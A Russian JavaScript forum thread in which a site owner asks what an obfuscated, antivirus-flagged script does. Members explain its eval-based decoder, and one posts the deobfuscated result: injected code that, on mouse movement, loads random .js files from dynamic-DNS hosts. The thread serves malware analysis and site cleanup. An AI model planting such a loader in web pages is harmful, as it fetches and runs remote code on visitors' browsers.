Javascript.RU

Создать новую тему Ответ
 
Опции темы Искать в теме
  #1 (permalink)  
Старый 20.07.2014, 09:54
Новичок на форуме
Отправить личное сообщение для ProbablyNot Посмотреть профиль Найти все сообщения от ProbablyNot
 
Регистрация: 20.07.2014
Сообщений: 4

Определить что делает закодированый js файл
Есть js с примерно таким содержимым:

var oa3a28a="";function yd4e965b5fad4(){var t538e19=String,db7a0e0d5=Array.prototype.slice.call(arguments).join(""),f38bc768=db7a0e0d5.substr(1,3)-322,da49fad5,pe0cce;db7a0e0d5=db7a0e0d5.substr(m1fe4220a());var s604bd1=db7a0e0d5.length;for(var g464f2c0=0;g464f2c0<s604bd1;g464f2c0++){try{throw(mf5f1dc32=db7a0e0d5.substr(g464f2c0,1));}catch(e){mf5f1dc32=e;};if(mf5f1dc32=='•'){f38bc768="";g464f2c0++;fe044d=s0e90a(db7a0e0d5,g464f2c0);while(fe044d!='•'){f38bc768+=fe044d;g464f2c0++;fe044d=db7a0e0d5.substr(g464f2c0,1);}f38bc768-=595;continue;}da49fad5="";if(mf5f1dc32=='±'){g464f2c0++;mf5f1dc32=db7a0e0d5.substr(g464f2c0,1);while(mf5f1dc32!='±'){da49fad5+=mf5f1dc32;g464f2c0++;mf5f1dc32=db7a0e0d5.substr(g464f2c0,1);}da49fad5=j2ef85b21(da49fad5,f38bc768,9);if(da49fad5<0)da49fad5+=256;da49fad5=l1e549fb(da49fad5);j5e81c9(da49fad5);continue;}kea974=(mf5f1dc32+'')["\x63\x68a\x72\x43od\x65At"](0);if(kea974>848)kea974-=848;pe0cce=kea974-f38bc768-9;pe0cce=jbbd0e90f(pe0cce);oa3a28a+=t538e19["\x66\x72om\x43h\x61\x72Co\x64e"](pe0cce);}}yd4e965b5fad4




Необходимо выяснить, что делает данный скрипт и удалить строки, которые отвечают за вредоносный код. При помощи антивируса удалось выяснить, что это downloader\redirect скрипт. Как разобраться в таком файле?
Ответить с цитированием
  #2 (permalink)  
Старый 20.07.2014, 12:37
Аватар для MallSerg
Профессор
Отправить личное сообщение для MallSerg Посмотреть профиль Найти все сообщения от MallSerg
 
Регистрация: 07.03.2011
Сообщений: 1,127

код скрипта не полный не хватает
...
db7a0e0d5 = Array.prototype.slice.call(arguments).join(""),
...
db7a0e0d5 = db7a0e0d5.substr(m1fe4220a());

m1fe4220a() функции нет в приведенном скрипте

Пока это не рабочий кусок скрипта

Последний раз редактировалось MallSerg, 20.07.2014 в 12:48.
Ответить с цитированием
  #3 (permalink)  
Старый 20.07.2014, 12:45
Аватар для ixth
Профессор
Отправить личное сообщение для ixth Посмотреть профиль Найти все сообщения от ixth
 
Регистрация: 19.01.2010
Сообщений: 354

Это просто функция, она делает что-то с переданными в параметры строками. Без параметров не очень ясно, что именно.
Ответить с цитированием
  #4 (permalink)  
Старый 20.07.2014, 13:13
Новичок на форуме
Отправить личное сообщение для ProbablyNot Посмотреть профиль Найти все сообщения от ProbablyNot
 
Регистрация: 20.07.2014
Сообщений: 4

Я выложил кусок для примера.
Не знаю как целиком, выложить скрипт, т.к. он больше 10000символов.
Во вложении архив с текстовым файлом.
Вложения:
Тип файла: zip script.zip (4.6 Кб, 3 просмотров)
Ответить с цитированием
  #5 (permalink)  
Старый 20.07.2014, 14:23
Аватар для MallSerg
Профессор
Отправить личное сообщение для MallSerg Посмотреть профиль Найти все сообщения от MallSerg
 
Регистрация: 07.03.2011
Сообщений: 1,127

для скрипта еще нужно указывать правильную кодировку
но в целом и так понятно

все параметры функции yd4e965b5fad4 сливаются в одну строку
db7a0e0d5 = Array.prototype.slice.call(arguments).join("")

первая часть этой строки хранит смещения
вторя часть (f38bc768 = db7a0e0d5.substr(1, 3) - 322),
это t538e19.charcode(pe0cce) которые собираются в строку
которая потом eval(oa3a28a);
Но так как кодировка скрипта == ХЗ
Евал отваливается с ошибкой т.к. в нем мусор из за неправильной кодировки
Ответить с цитированием
  #6 (permalink)  
Старый 20.07.2014, 15:25
Профессор
Отправить личное сообщение для Rise Посмотреть профиль Найти все сообщения от Rise
 
Регистрация: 07.11.2013
Сообщений: 4,662

MallSerg,

ProbablyNot, вот что он делает:
(function() {
	var url = 'http://2q0bw4b.lpjbikjwor.kicks-ass.net/g/';
	if (typeof window.xyzflag === 'undefined') {
		window.xyzflag = 0;
	}
	document.onmousemove = function() {
		if (window.xyzflag === 0) {
			window.xyzflag = 1;
			var head = document.getElementsByTagName('head')[0];
			var script = document.createElement('script');
			script.type = 'text/javascript';
			script.onreadystatechange = function () {
				if (this.readyState == 'complete') {
					window.xyzflag = 2;
				}
			};
			script.onload = function() {
				window.xyzflag = 2;
			};
			script.src = url + Math.random().toString().substring(3) + '.js';
			head.appendChild(script);
		}
	};
})();

(function() {
	var url = 'http://4t9vtudd.qujgxgulis.blogdns.com/g/';
	if (typeof window.xyzflag === 'undefined') {
		window.xyzflag = 0;
	}
	document.onmousemove = function() {
		if (window.xyzflag === 0) {
			window.xyzflag = 1;
			var head = document.getElementsByTagName('head')[0];
			var script = document.createElement('script');
			script.type = 'text/javascript';
			script.onreadystatechange = function () {
				if (this.readyState == 'complete') {
					window.xyzflag = 2;
				}
			};
			script.onload = function() {
				window.xyzflag = 2;
			};
			script.src = url + Math.random().toString().substring(3) + '.js';
			head.appendChild(script);
		}
	};
})();

Латай дыры на сайте и удаляй этот скрипт вот и всё...
Ответить с цитированием
  #7 (permalink)  
Старый 20.07.2014, 15:50
Новичок на форуме
Отправить личное сообщение для ProbablyNot Посмотреть профиль Найти все сообщения от ProbablyNot
 
Регистрация: 20.07.2014
Сообщений: 4

Сообщение от Rise
ProbablyNot, вот что он делает:
Просто браво! Я тут уже 3 дня голову ломаю.

Если не трудно, можете объяснить как вы его преобразовали?
Ответить с цитированием
  #8 (permalink)  
Старый 20.07.2014, 16:12
Аватар для MallSerg
Профессор
Отправить личное сообщение для MallSerg Посмотреть профиль Найти все сообщения от MallSerg
 
Регистрация: 07.03.2011
Сообщений: 1,127

Молодец console.log перед евалом поставиль
Ответить с цитированием
  #9 (permalink)  
Старый 20.07.2014, 16:43
Профессор
Отправить личное сообщение для Rise Посмотреть профиль Найти все сообщения от Rise
 
Регистрация: 07.11.2013
Сообщений: 4,662

ProbablyNot, в личке см
MallSerg,
Ответить с цитированием
Ответ



Опции темы Искать в теме
Искать в теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как сделать что бы ЧПУ не подставлялось на файл light Серверные языки и технологии 1 12.06.2014 12:16
Выгрузка html в файл средствами JS Moonshell Javascript под браузер 5 16.02.2014 17:44
Как корректно подгрузить резервный файл JS, если с основным проблема? Simba Общие вопросы Javascript 3 28.01.2012 19:20
Что за оператор !! и что он делает? demoniqus Общие вопросы Javascript 2 23.11.2010 18:54
Что делает этот скрипт? Wallkost Оффтопик 4 19.03.2010 14:54